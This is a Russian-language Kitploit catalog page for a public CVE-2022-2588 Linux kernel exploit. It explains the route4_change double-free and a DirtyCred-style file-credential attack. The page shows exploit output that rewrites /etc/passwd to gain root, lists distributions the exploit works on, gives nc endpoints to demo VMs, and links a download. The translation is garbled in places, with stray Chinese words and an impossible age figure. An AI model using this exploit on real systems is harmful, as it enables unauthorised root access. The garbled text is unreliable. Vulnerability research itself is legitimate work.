Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-2588 — эксплойт для CVE-2022-2588 | Kitploit
Инструменты/GitHubGitHub/markakd/cve-2022-2588
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubmarkakd/cve-2022-2588

CVE-2022-2588

эксплойт для CVE-2022-2588

Репозиторий
488713 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-2588

Исправление

Ошибка исправлена в Linux v5.19 этим коммитом.

Ошибка

Ошибка была внесена в Linux v3.17 этим коммитом ещё в 2014 году. Для её触发 требуется User Namespaces. Эта ошибка очень похожа на CVE-2021-3715, которая была вызвана некорректной операцией над связным списком route4_filter. Более подробно о CVE-2021-3715 можно узнать из доклада на Black Hat (страница 16). Ниже приведены некоторые краткие сведения о CVE-2022-2588.

Далее показаны некоторые важные фрагменты кода функции route4_change для понимания CVE-2022-2588.

root@kitploit:~
static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }
    
    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);
    
    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

Функция реализована для инициализации/замены объекта route4_filter. Фильтр использует handle как уникальный идентификатор для различения фильтров. Если уже существует фильтр с таким же handle (то есть переменная fold не равна null), функция обновляет фильтр, удаляя старый и добавляя новый; в противном случае она просто добавляет новый фильтр.

В [0] ядро выделяет память под объект route4_filter. В [1], если fold не пуст (то есть уже существует фильтр с тем же handle), часть информации копируется в новый фильтр, затем в [2] новый фильтр инициализируется, а в [3] он вставляется в список. Если старый фильтр существует, он удаляется из списка в [4] и освобождается в [6].

Ошибка находится в [4], где проверяется наличие старого фильтра для удаления. Условие гарантирует, что handle не должен быть нулевым и должен совпадать с handle нового фильтра. Это условие не совпадает с условием освобождения фильтра в [6], которое проверяет только факт существования старого фильтра. Поэтому, если пользователь создаст фильтр с handle, равным 0, а затем инициирует его замену, фильтр не будет отключён от списка в [4], но будет освобождён в [6], поскольку условия в этих местах различаются.

Эксплуатация

Поскольку эта ошибка похожа на CVE-2021-3715, их примитивы почти одинаковы. Читатели могут обратиться к докладу на Black Hat за более подробным описанием примитивов. В данной статье показана эксплуатация с использованием идеи DirtyCred.

Поскольку освобождённый fold после触发 ошибки всё ещё остаётся в связном списке, мы можем освободить fold повторно, что в конечном итоге приведёт к double free объекта route4_filter и объекта route4_filter->exts.action, если включён CONFIG_NET_CLS_ACT.

Код эксплойта использует обе эти возможности double free для демонстрации атаки на учётные данные задачи (с использованием double free из kmalloc-192, будет добавлено позже) и учётные данные открытых файлов (с использованием double free из kmalloc-256).

Атака на учётные данные файла

Следуя идее DirtyCred, код эксплойта подменяет учётные данные файла после проверок прав доступа, что позволяет записывать произвольное содержимое в файлы, доступные только для чтения. В идеале код должен работать во всех версиях ядра, затронутых ошибкой. Следует отметить, что для обеспечения работы на старых ядрах, где msg_msg изолирован в kmalloc-rcl-*, эксплойт использует другой объект для spray.

root@kitploit:~
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

Эксплойт написан так, чтобы работать на максимально возможном числе дистрибутивов. Подтверждена его работа на:

  • CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
  • CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
  • Debian 11 (5.10.0-8-amd64 ~ xxx)
  • Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
  • Manjaro 18 (xxx ~ xxx)
  • RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
  • Ubuntu 17 (4.10.0-19-generic ~ xxx)
  • Ubuntu 18 (xxx ~ xxx)
  • Ubuntu 19 (5.0.0-38-generic ~ xxx)
  • Ubuntu 20 (xxx ~ xxx)

(Пожалуйста, отправляйте pull request, чтобы обновить этот список, если вы обнаружите, что эксплойт работает на других ядрах.)

Хотите попробовать эксплойт в виртуальной машине?

Пожалуйста, войдите под пользователем low с паролем low

Ubuntu 20

root@kitploit:~
nc 150.136.171.117 1337

Centos 8

root@kitploit:~
nc 150.136.171.117 1338
Скачать инструмент